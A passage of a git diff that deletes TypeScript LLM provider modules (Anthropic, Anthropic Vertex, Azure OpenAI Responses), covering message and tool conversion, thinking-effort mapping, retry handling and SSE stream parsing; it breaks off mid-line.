modelId.includes("opus-4-6") || - modelId.includes("opus-4.6") || - modelId.includes("sonnet-4-6") || - modelId.includes("sonnet-4.6") || - modelId.includes("sonnet-4-7") || - modelId.includes("sonnet-4.7") || - modelId.includes("haiku-4-5") || - modelId.includes("haiku-4.5") - ); -} - -export function mapThinkingLevelToEffort( - level: string | undefined, - modelId: string, -): AnthropicEffort { - switch (level) { - case "auto": - return "medium"; - case "minimal": - return "low"; - case "low": - return "low"; - case "medium": - return "medium"; - case "high": - return "high"; - case "xhigh": - return modelId.includes("opus-4-6") || modelId.includes("opus-4.6") - ? "max" - : "high"; - default: - return "high"; - } -} - -export function isTransientNetworkError(error: unknown): boolean { - if (!(error instanceof Error)) return false; - const msg = error.message.toLowerCase(); - const code = (error as NodeJS.ErrnoException).code; - return ( - code === "ECONNRESET" || - code === "EPIPE" || - code === "ETIMEDOUT" || - code === "ENOTFOUND" || - code === "EAI_AGAIN" || - msg.includes("connector_closed") || - msg.includes("socket hang up") || - msg.includes("network") || - (msg.includes("connection") && msg.includes("closed")) || - msg.includes("fetch failed") - ); -} - -export function extractRetryAfterMs( - headers: Headers | { get(name: string): string | null }, - _errorText = "", -): number | undefined { - const normalizeDelay = (ms: number): number | undefined => - ms > 0 ? Math.ceil(ms + 1000) : undefined; - - const retryAfter = headers.get("retry-after"); - if (retryAfter) { - const seconds = Number(retryAfter); - if (Number.isFinite(seconds)) { - const delay = normalizeDelay(seconds * 1000); - if (delay !== undefined) return delay; - } - const asDate = new Date(retryAfter).getTime(); - if (!Number.isNaN(asDate)) { - const delay = normalizeDelay(asDate - Date.now()); - if (delay !== undefined) return delay; - } - } - - for (const header of [ - "x-ratelimit-reset-requests", - "x-ratelimit-reset-tokens", - ]) { - const value = headers.get(header); - if (value) { - const resetSeconds = Number(value); - if (Number.isFinite(resetSeconds)) { - const delay = normalizeDelay(resetSeconds * 1000 - Date.now()); - if (delay !== undefined) return delay; - } - } - } - - return undefined; -} - -export function normalizeToolCallId(id: string): string { - return id.replace(/[^a-zA-Z0-9_-]/g, "_").slice(0, 64); -} - -export function convertMessages( - messages: Message[], - model: Model, - isOAuthToken: boolean, - cacheControl?: { type: "ephemeral"; ttl?: "1h" }, -): MessageParam[] { - const params: MessageParam[] = []; - - const transformedMessages = transformMessagesWithReport( - messages, - model, - normalizeToolCallId, - "anthropic-messages", - ); - - for (let i = 0; i < transformedMessages.length; i++) { - const msg = transformedMessages[i]; - - if (msg.role === "user") { - if (typeof msg.content === "string") { - if (msg.content.trim().length > 0) { - params.push({ - role: "user", - content: sanitizeSurrogates(msg.content), - }); - } - } else { - const blocks: ContentBlockParam[] = msg.content.map((item) => { - if (item.type === "text") { - return { - type: "text", - text: sanitizeSurrogates(item.text), - }; - } else { - return { - type: "image", - source: { - type: "base64", - media_type: item.mimeType as - | "image/jpeg" - | "image/png" - | "image/gif" - | "image/webp", - data: item.data, - }, - }; - } - }); - let filteredBlocks = !model?.input.includes("image") - ? blocks.filter((b) => b.type !== "image") - : blocks; - filteredBlocks = filteredBlocks.filter((b) => { - if (b.type === "text") { - return b.text.trim().length > 0; - } - return true; - }); - if (filteredBlocks.length === 0) continue; - params.push({ - role: "user", - content: filteredBlocks, - }); - } - } else if (msg.role === "assistant") { - const blocks: ContentBlockParam[] = []; - - for (const block of msg.content) { - if (block.type === "text") { - if (block.text.trim().length === 0) continue; - blocks.push({ - type: "text", - text: sanitizeSurrogates(block.text), - }); - } else if (block.type === "thinking") { - if (block.redacted) { - blocks.push({ - type: "redacted_thinking", - data: block.thinkingSignature!, - }); - continue; - } - if (block.thinking.trim().length === 0) continue; - if ( - !block.thinkingSignature || - block.thinkingSignature.trim().length === 0 - ) { - blocks.push({ - type: "text", - text: sanitizeSurrogates(block.thinking), - }); - } else { - blocks.push({ - type: "thinking", - thinking: sanitizeSurrogates(block.thinking), - signature: block.thinkingSignature, - }); - } - } else if (block.type === "toolCall") { - blocks.push({ - type: "tool_use", - id: block.id, - name: isOAuthToken ? toClaudeCodeName(block.name) : block.name, - input: block.arguments ?? {}, - }); - } else if (block.type === "serverToolUse") { - blocks.push({ - type: "server_tool_use", - id: block.id, - name: block.name as ServerToolUseBlockParam["name"], - input: block.input ?? {}, - } as ServerToolUseBlockParam); - } else if (block.type === "webSearchResult") { - blocks.push({ - type: "web_search_tool_result", - tool_use_id: block.toolUseId, - content: block.content, - } as WebSearchToolResultBlockParam); - } - } - if (blocks.length === 0) continue; - params.push({ - role: "assistant", - content: blocks, - }); - } else if (msg.role === "toolResult") { - const toolResults: ContentBlockParam[] = []; - - toolResults.push({ - type: "tool_result", - tool_use_id: msg.toolCallId, - content: convertContentBlocks(msg.content), - is_error: msg.isError, - }); - - let j = i + 1; - while ( - j < transformedMessages.length && - transformedMessages[j].role === "toolResult" - ) { - const nextMsg = transformedMessages[j] as ToolResultMessage; - toolResults.push({ - type: "tool_result", - tool_use_id: nextMsg.toolCallId, - content: convertContentBlocks(nextMsg.content), - is_error: nextMsg.isError, - }); - j++; - } - - i = j - 1; - - params.push({ - role: "user", - content: toolResults, - }); - } - } - - if (cacheControl && params.length > 0) { - const lastMessage = params[params.length - 1]; - if (lastMessage.role === "user") { - if (Array.isArray(lastMessage.content)) { - const lastBlock = lastMessage.content[lastMessage.content.length - 1]; - if ( - lastBlock && - (lastBlock.type === "text" || - lastBlock.type === "image" || - lastBlock.type === "tool_result") - ) { - // TextBlockParam, ImageBlockParam, and ToolResultBlockParam all - // carry cache_control?: CacheControlEphemeral | null — the type - // guard above narrows to exactly those three variants. - ( - lastBlock as { cache_control?: CacheControlEphemeral | null } - ).cache_control = cacheControl; - } - } else if (typeof lastMessage.content === "string") { - lastMessage.content = [ - { - type: "text", - text: lastMessage.content, - cache_control: cacheControl, - }, - ]; - } - } - } - - return params; -} - -export function convertTools( - tools: Tool[], - isOAuthToken: boolean, - cacheControl?: { type: "ephemeral"; ttl?: "1h" }, -): Anthropic.Messages.Tool[] { - if (!tools) return []; - - const result: Anthropic.Messages.Tool[] = tools.map((tool) => { - // TSchema extends SchemaOptions which carries [prop: string]: any, - // so .properties and .required are accessible without a cast. - const jsonSchema = tool.parameters; - - return { - name: isOAuthToken ? toClaudeCodeName(tool.name) : tool.name, - description: tool.description, - input_schema: { - type: "object" as const, - properties: jsonSchema.properties || {}, - required: (jsonSchema.required as string[] | undefined) || [], - }, - }; - }); - - // Add cache breakpoint to last tool — covers entire tool block. - // Anthropic.Messages.Tool carries cache_control?: CacheControlEphemeral | null. - if (cacheControl && result.length > 0) { - result[result.length - 1].cache_control = cacheControl; - } - - return result; -} - -export function buildParams( - model: Model, - context: Context, - isOAuthToken: boolean, - options?: AnthropicOptions, -): MessageCreateParamsStreaming { - const { cacheControl } = getCacheControl( - model.baseUrl, - options?.cacheRetention, - ); - const apiModelId = model.id.replace(/\[.*\]$/, ""); - const params: MessageCreateParamsStreaming = { - model: apiModelId, - messages: convertMessages( - context.messages, - model, - isOAuthToken, - cacheControl, - ), - max_tokens: options?.maxTokens || (model.maxTokens / 3) | 0, - stream: true, - }; - - if (isOAuthToken) { - params.system = [ - { - type: "text", - text: "You are Claude Code, Anthropic's official CLI for Claude.", - ...(cacheControl ? { cache_control: cacheControl } : {}), - }, - ]; - if (context.systemPrompt) { - params.system.push({ - type: "text", - text: sanitizeSurrogates(context.systemPrompt), - ...(cacheControl ? { cache_control: cacheControl } : {}), - }); - } - } else if (context.systemPrompt) { - params.system = [ - { - type: "text", - text: sanitizeSurrogates(context.systemPrompt), - ...(cacheControl ? { cache_control: cacheControl } : {}), - }, - ]; - } - - if (options?.temperature !== undefined && !options?.thinkingEnabled) { - params.temperature = options.temperature; - } - - if (context.tools && context.tools.length > 0) { - params.tools = convertTools(context.tools, isOAuthToken, cacheControl); - } - - if (options?.thinkingEnabled && model.reasoning) { - if (supportsAdaptiveThinking(model.id)) { - params.thinking = { type: "adaptive" }; - if (options.effort) { - params.output_config = { effort: options.effort }; - } - } else if (model.capabilities?.thinkingNoBudget) { - // Provider accepts {"type":"enabled"} without budget_tokens — model manages depth. - // The Anthropic SDK type requires budget_tokens but the kimi-coding API does not, - // so we bypass the SDK constraint via unknown to avoid falsely promising budget_tokens. - (params as unknown as Record).thinking = { - type: "enabled", - }; - } else { - params.thinking = { - type: "enabled", - budget_tokens: options.thinkingBudgetTokens || 1024, - }; - } - } - - if (options?.metadata) { - const userId = options.metadata.user_id; - if (typeof userId === "string") { - params.metadata = { user_id: userId }; - } - } - - if (options?.toolChoice) { - if (typeof options.toolChoice === "string") { - params.tool_choice = { type: options.toolChoice }; - } else { - params.tool_choice = options.toolChoice; - } - } - - return params; -} - -export function mapStopReason(reason: string): StopReason { - switch (reason) { - case "end_turn": - return "stop"; - case "max_tokens": - return "length"; - case "tool_use": - return "toolUse"; - case "refusal": - return "error"; - case "pause_turn": - return "pauseTurn"; - case "stop_sequence": - return "stop"; - case "sensitive": - return "error"; - default: - throw new Error(`Unhandled stop reason: ${reason}`); - } -} - -export interface StreamAnthropicArgs { - client: Anthropic; - model: Model; - context: Context; - isOAuthToken: boolean; - options?: AnthropicOptions; - AnthropicSdkClass?: typeof Anthropic; -} - -export function processAnthropicStream( - stream: AssistantMessageEventStream, - args: StreamAnthropicArgs, -): void { - const { client, model, context, isOAuthToken, options, AnthropicSdkClass } = - args; - - (async () => { - const output: AssistantMessage = { - role: "assistant", - content: [], - api: model.api as Api, - provider: model.provider, - model: model.id, - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: Date.now(), - }; - - try { - let params = buildParams(model, context, isOAuthToken, options); - const nextParams = await options?.onPayload?.(params, model); - if (nextParams !== undefined) { - params = nextParams as MessageCreateParamsStreaming; - } - const apiPromise = client.messages.create( - { ...params, stream: true }, - { signal: options?.signal }, - ); - const response = await apiPromise.asResponse(); - stream.push({ type: "start", partial: output }); - - type Block = ( - | ThinkingContent - | TextContent - | (ToolCall & { partialJson: string }) - | ServerToolUseContent - | WebSearchResultContent - ) & { index: number }; - const blocks = output.content as Block[]; - - for await (const rawEvent of parseAnthropicSSE( - response, - options?.signal, - )) { - const event = rawEvent as RawMessageStreamEvent; - if (event.type === "message_start") { - output.usage.input = event.message.usage.input_tokens || 0; - output.usage.output = event.message.usage.output_tokens || 0; - output.usage.cacheRead = - event.message.usage.cache_read_input_tokens || 0; - output.usage.cacheWrite = - event.message.usage.cache_creation_input_tokens || 0; - output.usage.totalTokens = - output.usage.input + - output.usage.output + - output.usage.cacheRead + - output.usage.cacheWrite; - calculateCost(model, output.usage); - } else if (event.type === "content_block_start") { - if (event.content_block.type === "text") { - const block: Block = { - type: "text", - text: "", - index: event.index, - }; - output.content.push(block); - stream.push({ - type: "text_start", - contentIndex: output.content.length - 1, - partial: output, - }); - } else if (event.content_block.type === "thinking") { - const block: Block = { - type: "thinking", - thinking: "", - thinkingSignature: "", - index: event.index, - }; - output.content.push(block); - stream.push({ - type: "thinking_start", - contentIndex: output.content.length - 1, - partial: output, - }); - } else if (event.content_block.type === "redacted_thinking") { - const block: Block = { - type: "thinking", - thinking: "[Reasoning redacted]", - thinkingSignature: event.content_block.data, - redacted: true, - index: event.index, - }; - output.content.push(block); - stream.push({ - type: "thinking_start", - contentIndex: output.content.length - 1, - partial: output, - }); - } else if (event.content_block.type === "tool_use") { - const block: Block = { - type: "toolCall", - id: event.content_block.id, - name: isOAuthToken - ? fromClaudeCodeName(event.content_block.name, context.tools) - : event.content_block.name, - arguments: - (event.content_block.input as Record) ?? {}, - partialJson: "", - index: event.index, - }; - output.content.push(block); - stream.push({ - type: "toolcall_start", - contentIndex: output.content.length - 1, - partial: output, - }); - } else if (event.content_block.type === "server_tool_use") { - const serverBlock = event.content_block; - const block: Block = { - type: "serverToolUse", - id: serverBlock.id, - name: serverBlock.name, - input: serverBlock.input, - index: event.index, - }; - output.content.push(block); - stream.push({ - type: "server_tool_use", - contentIndex: output.content.length - 1, - partial: output, - }); - } else if (event.content_block.type === "web_search_tool_result") { - const resultBlock = event.content_block; - const block: Block = { - type: "webSearchResult", - toolUseId: resultBlock.tool_use_id, - content: resultBlock.content, - index: event.index, - }; - output.content.push(block); - stream.push({ - type: "web_search_result", - contentIndex: output.content.length - 1, - partial: output, - }); - } - } else if (event.type === "content_block_delta") { - if (event.delta.type === "text_delta") { - const index = blocks.findIndex((b) => b.index === event.index); - const block = blocks[index]; - if (block && block.type === "text") { - block.text += event.delta.text; - stream.push({ - type: "text_delta", - contentIndex: index, - delta: event.delta.text, - partial: output, - }); - } - } else if (event.delta.type === "thinking_delta") { - const index = blocks.findIndex((b) => b.index === event.index); - const block = blocks[index]; - if (block && block.type === "thinking") { - block.thinking += event.delta.thinking; - stream.push({ - type: "thinking_delta", - contentIndex: index, - delta: event.delta.thinking, - partial: output, - }); - } - } else if (event.delta.type === "input_json_delta") { - const index = blocks.findIndex((b) => b.index === event.index); - const block = blocks[index]; - if (block && block.type === "toolCall") { - block.partialJson += event.delta.partial_json; - block.arguments = parseStreamingJson(block.partialJson); - stream.push({ - type: "toolcall_delta", - contentIndex: index, - delta: event.delta.partial_json, - partial: output, - }); - } - } else if (event.delta.type === "signature_delta") { - const index = blocks.findIndex((b) => b.index === event.index); - const block = blocks[index]; - if (block && block.type === "thinking") { - block.thinkingSignature = block.thinkingSignature || ""; - block.thinkingSignature += event.delta.signature; - } - } - } else if (event.type === "content_block_stop") { - const index = blocks.findIndex((b) => b.index === event.index); - const block = blocks[index]; - if (block) { - // `index` is an internal bookkeeping field added at block creation - // and must be stripped before the block is exposed to callers. - delete (block as { index?: number }).index; - if (block.type === "text") { - stream.push({ - type: "text_end", - contentIndex: index, - content: block.text, - partial: output, - }); - } else if (block.type === "thinking") { - stream.push({ - type: "thinking_end", - contentIndex: index, - content: block.thinking, - partial: output, - }); - } else if (block.type === "toolCall") { - // Try strict parse first; if it fails, attempt YAML bullet - // repair (#2660) before falling back to the lenient streaming - // parser which silently swallows errors. - const raw = block.partialJson ?? ""; - const rawForParse = hasXmlParameterTags(raw) - ? repairToolJson(raw) - : raw; - let parsed: Record | undefined; - try { - parsed = JSON.parse(rawForParse); - } catch { - try { - parsed = JSON.parse(repairToolJson(rawForParse)); - } catch { - // Fall through to streaming parser - } - } - block.arguments = parsed ?? parseStreamingJson(block.partialJson); - // `partialJson` is an internal streaming field that must not - // appear on the final ToolCall exposed to callers. - delete (block as { partialJson?: string }).partialJson; - stream.push({ - type: "toolcall_end", - contentIndex: index, - toolCall: block, - partial: output, - }); - } - } - } else if (event.type === "message_delta") { - if (event.delta.stop_reason) { - output.stopReason = mapStopReason(event.delta.stop_reason); - } - if (event.usage.input_tokens != null) { - output.usage.input = event.usage.input_tokens; - } - if (event.usage.output_tokens != null) { - output.usage.output = event.usage.output_tokens; - } - if (event.usage.cache_read_input_tokens != null) { - output.usage.cacheRead = event.usage.cache_read_input_tokens; - } - if (event.usage.cache_creation_input_tokens != null) { - output.usage.cacheWrite = event.usage.cache_creation_input_tokens; - } - output.usage.totalTokens = - output.usage.input + - output.usage.output + - output.usage.cacheRead + - output.usage.cacheWrite; - calculateCost(model, output.usage); - } - } - - if (options?.signal?.aborted) { - throw new Error("Request was aborted"); - } - - if (output.stopReason === "aborted" || output.stopReason === "error") { - throw new Error("An unknown error occurred"); - } - - stream.push({ type: "done", reason: output.stopReason, message: output }); - stream.end(); - } catch (error) { - for (const block of output.content) - delete (block as { index?: number }).index; - output.stopReason = options?.signal?.aborted ? "aborted" : "error"; - output.errorMessage = - error instanceof Error ? error.message : JSON.stringify(error); - if (model.provider === "alibaba-coding-plan") { - output.errorMessage = `[alibaba-coding-plan] ${output.errorMessage}`; - } - if ( - AnthropicSdkClass && - error instanceof AnthropicSdkClass.APIError && - error.headers - ) { - const retryAfterMs = extractRetryAfterMs(error.headers, error.message); - if (retryAfterMs !== undefined) { - output.retryAfterMs = retryAfterMs; - } - } - if (isTransientNetworkError(error)) { - output.retryAfterMs = output.retryAfterMs ?? 5000; - } - stream.push({ type: "error", reason: output.stopReason, error: output }); - stream.end(); - } - })(); -} diff --git a/packages/pi-ai/src/providers/anthropic-vertex.ts b/packages/pi-ai/src/providers/anthropic-vertex.ts deleted file mode 100644 index 5fbb8f431..000000000 --- a/packages/pi-ai/src/providers/anthropic-vertex.ts +++ /dev/null @@ -1,161 +0,0 @@ -// Lazy-loaded: Anthropic Vertex SDK is imported on first use, not at startup. -// This avoids penalizing users who don't use Anthropic Vertex models. -import type Anthropic from "@anthropic-ai/sdk"; -import type { AnthropicVertex } from "@anthropic-ai/vertex-sdk"; -import { getEnvApiKey } from "../env-api-keys.js"; -import type { - Context, - Model, - SimpleStreamOptions, - StreamFunction, -} from "../types.js"; -import { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { - type AnthropicOptions, - mapThinkingLevelToEffort, - processAnthropicStream, - supportsAdaptiveThinking, -} from "./anthropic-shared.js"; -import { - adjustMaxTokensForThinking, - buildBaseOptions, - isAutoReasoning, - resolveReasoningLevel, -} from "./simple-options.js"; - -let _AnthropicVertexClass: typeof AnthropicVertex | undefined; -let _AnthropicSdkClass: typeof Anthropic | undefined; - -async function getAnthropicVertexClass(): Promise { - if (!_AnthropicVertexClass) { - const mod = await import("@anthropic-ai/vertex-sdk"); - _AnthropicVertexClass = mod.AnthropicVertex; - } - return _AnthropicVertexClass; -} - -async function getAnthropicSdkClass(): Promise { - if (!_AnthropicSdkClass) { - const mod = await import("@anthropic-ai/sdk"); - _AnthropicSdkClass = mod.default; - } - return _AnthropicSdkClass; -} - -function resolveProjectId(): string { - const projectId = - process.env.ANTHROPIC_VERTEX_PROJECT_ID || - process.env.GOOGLE_CLOUD_PROJECT || - process.env.GCLOUD_PROJECT; - if (!projectId) { - throw new Error( - "Anthropic Vertex requires a project ID. Set ANTHROPIC_VERTEX_PROJECT_ID, GOOGLE_CLOUD_PROJECT, or GCLOUD_PROJECT.", - ); - } - return projectId; -} - -function resolveRegion(): string { - return ( - process.env.CLOUD_ML_REGION || - process.env.GOOGLE_CLOUD_LOCATION || - "us-central1" - ); -} - -async function createVertexClient(): Promise { - const AnthropicVertexClass = await getAnthropicVertexClass(); - const projectId = resolveProjectId(); - const region = resolveRegion(); - - return new AnthropicVertexClass({ - projectId, - region, - }); -} - -export const streamAnthropicVertex: StreamFunction< - "anthropic-vertex", - AnthropicOptions -> = ( - model: Model<"anthropic-vertex">, - context: Context, - options?: AnthropicOptions, -): AssistantMessageEventStream => { - const stream = new AssistantMessageEventStream(); - - (async () => { - const client = await createVertexClient(); - const AnthropicSdk = await getAnthropicSdkClass(); - - processAnthropicStream(stream, { - client: client as unknown as Anthropic, - model, - context, - isOAuthToken: false, - options, - AnthropicSdkClass: AnthropicSdk, - }); - })(); - - return stream; -}; - -export const streamSimpleAnthropicVertex: StreamFunction< - "anthropic-vertex", - SimpleStreamOptions -> = ( - model: Model<"anthropic-vertex">, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream => { - const apiKey = options?.apiKey || getEnvApiKey(model.provider); - if (!apiKey) { - throw new Error( - `No API key found for provider: ${model.provider}. Set ANTHROPIC_VERTEX_PROJECT_ID to use Claude on Vertex AI.`, - ); - } - - const base = buildBaseOptions(model, options, apiKey); - if (!options?.reasoning) { - return streamAnthropicVertex(model, context, { - ...base, - thinkingEnabled: false, - } satisfies AnthropicOptions); - } - - if ( - isAutoReasoning(options.reasoning) && - (supportsAdaptiveThinking(model.id) || model.capabilities?.thinkingNoBudget) - ) { - return streamAnthropicVertex(model, context, { - ...base, - thinkingEnabled: true, - } satisfies AnthropicOptions); - } - - const effectiveReasoning = resolveReasoningLevel(model, options.reasoning)!; - - if (supportsAdaptiveThinking(model.id)) { - const effort = mapThinkingLevelToEffort(effectiveReasoning, model.id); - return streamAnthropicVertex(model, context, { - ...base, - thinkingEnabled: true, - effort, - } satisfies AnthropicOptions); - } - - const adjusted = adjustMaxTokensForThinking( - base.maxTokens || 0, - model.maxTokens, - effectiveReasoning, - options.thinkingBudgets, - ); - - return streamAnthropicVertex(model, context, { - ...base, - maxTokens: adjusted.maxTokens, - thinkingEnabled: true, - thinkingBudgetTokens: adjusted.thinkingBudget, - } satisfies AnthropicOptions); -}; diff --git a/packages/pi-ai/src/providers/anthropic.ts b/packages/pi-ai/src/providers/anthropic.ts deleted file mode 100644 index 735176da3..000000000 --- a/packages/pi-ai/src/providers/anthropic.ts +++ /dev/null @@ -1,263 +0,0 @@ -// Lazy-loaded: Anthropic SDK (~500ms) is imported on first use, not at startup. -// This avoids penalizing users who don't use Anthropic models. -import type Anthropic from "@anthropic-ai/sdk"; -import { getEnvApiKey } from "../env-api-keys.js"; -import type { - Context, - Model, - SimpleStreamOptions, - StreamFunction, -} from "../types.js"; -import { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { - type AnthropicEffort, - type AnthropicOptions, - extractRetryAfterMs, - mapThinkingLevelToEffort, - processAnthropicStream, - supportsAdaptiveThinking, -} from "./anthropic-shared.js"; -import { - buildCopilotDynamicHeaders, - hasCopilotVisionInput, -} from "./github-copilot-headers.js"; -import { - adjustMaxTokensForThinking, - buildBaseOptions, - isAutoReasoning, - resolveReasoningLevel, -} from "./simple-options.js"; - -// Re-export types used by other modules -export type { AnthropicEffort, AnthropicOptions }; -export { extractRetryAfterMs }; - -/** - * Resolve the base URL for Anthropic API requests. - * - * Resolution order: - * 1. ANTHROPIC_BASE_URL environment variable (if set and non-empty after trim) - * 2. model.baseUrl (from the model definition) - * - * This allows routing traffic through custom proxy endpoints (e.g. OpusMax, - * local mirrors, corporate gateways) without modifying model definitions. - */ -export function resolveAnthropicBaseUrl( - model: Model<"anthropic-messages">, -): string { - const envBaseUrl = process.env.ANTHROPIC_BASE_URL?.trim(); - if (envBaseUrl) { - return envBaseUrl; - } - return model.baseUrl; -} - -let _AnthropicClass: typeof Anthropic | undefined; -async function getAnthropicClass(): Promise { - if (!_AnthropicClass) { - const mod = await import("@anthropic-ai/sdk"); - _AnthropicClass = mod.default; - } - return _AnthropicClass; -} - -function mergeHeaders( - ...headerSources: (Record | undefined)[] -): Record { - const merged: Record = {}; - for (const headers of headerSources) { - if (headers) { - Object.assign(merged, headers); - } - } - return merged; -} - -export function usesAnthropicBearerAuth( - provider: Model<"anthropic-messages">["provider"], -): boolean { - return ( - provider === "alibaba-coding-plan" || - provider === "minimax" || - provider === "minimax-cn" || - provider === "longcat" || - provider === "xiaomi" - ); -} - -async function createClient( - model: Model<"anthropic-messages">, - apiKey: string, - interleavedThinking: boolean, - optionsHeaders?: Record, - dynamicHeaders?: Record, -): Promise<{ client: Anthropic; isOAuthToken: boolean }> { - const AnthropicClass = await getAnthropicClass(); - // Adaptive thinking models (Opus 4.6, Sonnet 4.6) have interleaved thinking built-in. - // The beta header is deprecated on Opus 4.6 and redundant on Sonnet 4.6, so skip it. - const needsInterleavedBeta = - interleavedThinking && !supportsAdaptiveThinking(model.id); - - // Copilot: Bearer auth, selective betas (no fine-grained-tool-streaming) - if (model.provider === "github-copilot") { - const betaFeatures: string[] = []; - if (needsInterleavedBeta) { - betaFeatures.push("interleaved-thinking-2025-05-14"); - } - - const client = new AnthropicClass({ - apiKey: null, - authToken: apiKey, - baseURL: resolveAnthropicBaseUrl(model), - dangerouslyAllowBrowser: true, - defaultHeaders: mergeHeaders( - { - accept: "application/json", - "anthropic-dangerous-direct-browser-access": "true", - ...(betaFeatures.length > 0 - ? { "anthropic-beta": betaFeatures.join(",") } - : {}), - }, - model.headers, - dynamicHeaders, - optionsHeaders, - ), - }); - - return { client, isOAuthToken: false }; - } - - // Skip beta headers for providers that don't support them (e.g., Alibaba Coding Plan) - const skipBetaHeaders = model.provider === "alibaba-coding-plan"; - const betaFeatures = skipBetaHeaders - ? [] - : ["fine-grained-tool-streaming-2025-05-14"]; - if (needsInterleavedBeta && !skipBetaHeaders) { - betaFeatures.push("interleaved-thinking-2025-05-14"); - } - - // API key auth (Anthropic OAuth removed per TOS compliance — use API keys or Claude CLI) - // Some Anthropic-compatible providers require Bearer auth instead of x-api-key. - const usesBearerAuth = usesAnthropicBearerAuth(model.provider); - const client = new AnthropicClass({ - apiKey: usesBearerAuth ? null : apiKey, - authToken: usesBearerAuth ? apiKey : undefined, - baseURL: resolveAnthropicBaseUrl(model), - dangerouslyAllowBrowser: true, - defaultHeaders: mergeHeaders( - { - accept: "application/json", - "anthropic-dangerous-direct-browser-access": "true", - ...(betaFeatures.length > 0 - ? { "anthropic-beta": betaFeatures.join(",") } - : {}), - }, - model.headers, - optionsHeaders, - ), - }); - - return { client, isOAuthToken: false }; -} - -export const streamAnthropic: StreamFunction< - "anthropic-messages", - AnthropicOptions -> = ( - model: Model<"anthropic-messages">, - context: Context, - options?: AnthropicOptions, -): AssistantMessageEventStream => { - const stream = new AssistantMessageEventStream(); - - (async () => { - const apiKey = options?.apiKey ?? getEnvApiKey(model.provider) ?? ""; - - let copilotDynamicHeaders: Record | undefined; - if (model.provider === "github-copilot") { - const hasImages = hasCopilotVisionInput(context.messages); - copilotDynamicHeaders = buildCopilotDynamicHeaders({ - messages: context.messages, - hasImages, - }); - } - - const { client, isOAuthToken: isOAuth } = await createClient( - model, - apiKey, - options?.interleavedThinking ?? true, - options?.headers, - copilotDynamicHeaders, - ); - - processAnthropicStream(stream, { - client, - model, - context, - isOAuthToken: isOAuth, - options, - AnthropicSdkClass: _AnthropicClass, - }); - })(); - - return stream; -}; - -export const streamSimpleAnthropic: StreamFunction< - "anthropic-messages", - SimpleStreamOptions -> = ( - model: Model<"anthropic-messages">, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream => { - const apiKey = options?.apiKey || getEnvApiKey(model.provider); - if (!apiKey) { - throw new Error(`No API key for provider: ${model.provider}`); - } - - const base = buildBaseOptions(model, options, apiKey); - if (!options?.reasoning) { - return streamAnthropic(model, context, { - ...base, - thinkingEnabled: false, - } satisfies AnthropicOptions); - } - - if ( - isAutoReasoning(options.reasoning) && - (supportsAdaptiveThinking(model.id) || model.capabilities?.thinkingNoBudget) - ) { - return streamAnthropic(model, context, { - ...base, - thinkingEnabled: true, - } satisfies AnthropicOptions); - } - - const effectiveReasoning = resolveReasoningLevel(model, options.reasoning)!; - - // For Opus 4.6 and Sonnet 4.6: use adaptive thinking with effort level - // For older models: use budget-based thinking - if (supportsAdaptiveThinking(model.id)) { - const effort = mapThinkingLevelToEffort(effectiveReasoning, model.id); - return streamAnthropic(model, context, { - ...base, - thinkingEnabled: true, - effort, - } satisfies AnthropicOptions); - } - - const adjusted = adjustMaxTokensForThinking( - base.maxTokens || 0, - model.maxTokens, - effectiveReasoning, - options.thinkingBudgets, - ); - - return streamAnthropic(model, context, { - ...base, - maxTokens: adjusted.maxTokens, - thinkingEnabled: true, - thinkingBudgetTokens: adjusted.thinkingBudget, - } satisfies AnthropicOptions); -}; diff --git a/packages/pi-ai/src/providers/azure-openai-responses.ts b/packages/pi-ai/src/providers/azure-openai-responses.ts deleted file mode 100644 index c7b9003c1..000000000 --- a/packages/pi-ai/src/providers/azure-openai-responses.ts +++ /dev/null @@ -1,318 +0,0 @@ -// Lazy-loaded: OpenAI SDK (AzureOpenAI) is imported on first use, not at startup. -// This avoids penalizing users who don't use Azure OpenAI models. -import type { AzureOpenAI } from "openai"; -import type { ResponseCreateParamsStreaming } from "openai/resources/responses/responses.js"; -import { getEnvApiKey } from "../env-api-keys.js"; -import { supportsXhigh } from "../models.js"; -import type { - Context, - Model, - SimpleStreamOptions, - StreamFunction, - StreamOptions, -} from "../types.js"; -import { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { - convertResponsesMessages, - convertResponsesTools, - processResponsesStream, -} from "./openai-responses-shared.js"; -import { - assertStreamSuccess, - buildInitialOutput, - clampReasoningForModel, - finalizeStream, - handleStreamError, -} from "./openai-shared.js"; -import { - buildBaseOptions, - clampReasoning, - resolveReasoningLevel, -} from "./simple-options.js"; - -let _AzureOpenAIClass: typeof AzureOpenAI | undefined; -async function getAzureOpenAIClass(): Promise { - if (!_AzureOpenAIClass) { - const mod = await import("openai"); - _AzureOpenAIClass = mod.AzureOpenAI; - } - return _AzureOpenAIClass; -} - -const DEFAULT_AZURE_API_VERSION = "v1"; -const AZURE_TOOL_CALL_PROVIDERS = new Set([ - "openai", - "openai-codex", - "opencode", - "azure-openai-responses", -]); - -function parseDeploymentNameMap( - value: string | undefined, -): Map { - const map = new Map(); - if (!value) return map; - for (const entry of value.split(",")) { - const trimmed = entry.trim(); - if (!trimmed) continue; - const [modelId, deploymentName] = trimmed.split("=", 2); - if (!modelId || !deploymentName) continue; - map.set(modelId.trim(), deploymentName.trim()); - } - return map; -} - -function resolveDeploymentName( - model: Model<"azure-openai-responses">, - options?: AzureOpenAIResponsesOptions, -): string { - if (options?.azureDeploymentName) { - return options.azureDeploymentName; - } - const mappedDeployment = parseDeploymentNameMap( - process.env.AZURE_OPENAI_DEPLOYMENT_NAME_MAP, - ).get(model.id); - return mappedDeployment || model.id; -} - -// Azure OpenAI Responses-specific options -export interface AzureOpenAIResponsesOptions extends StreamOptions { - reasoningEffort?: "minimal" | "low" | "medium" | "high" | "xhigh"; - reasoningSummary?: "auto" | "detailed" | "concise" | null; - azureApiVersion?: string; - azureResourceName?: string; - azureBaseUrl?: string; - azureDeploymentName?: string; -} - -/** - * Generate function for Azure OpenAI Responses API - */ -export const streamAzureOpenAIResponses: StreamFunction< - "azure-openai-responses", - AzureOpenAIResponsesOptions -> = ( - model: Model<"azure-openai-responses">, - context: Context, - options?: AzureOpenAIResponsesOptions, -): AssistantMessageEventStream => { - const stream = new 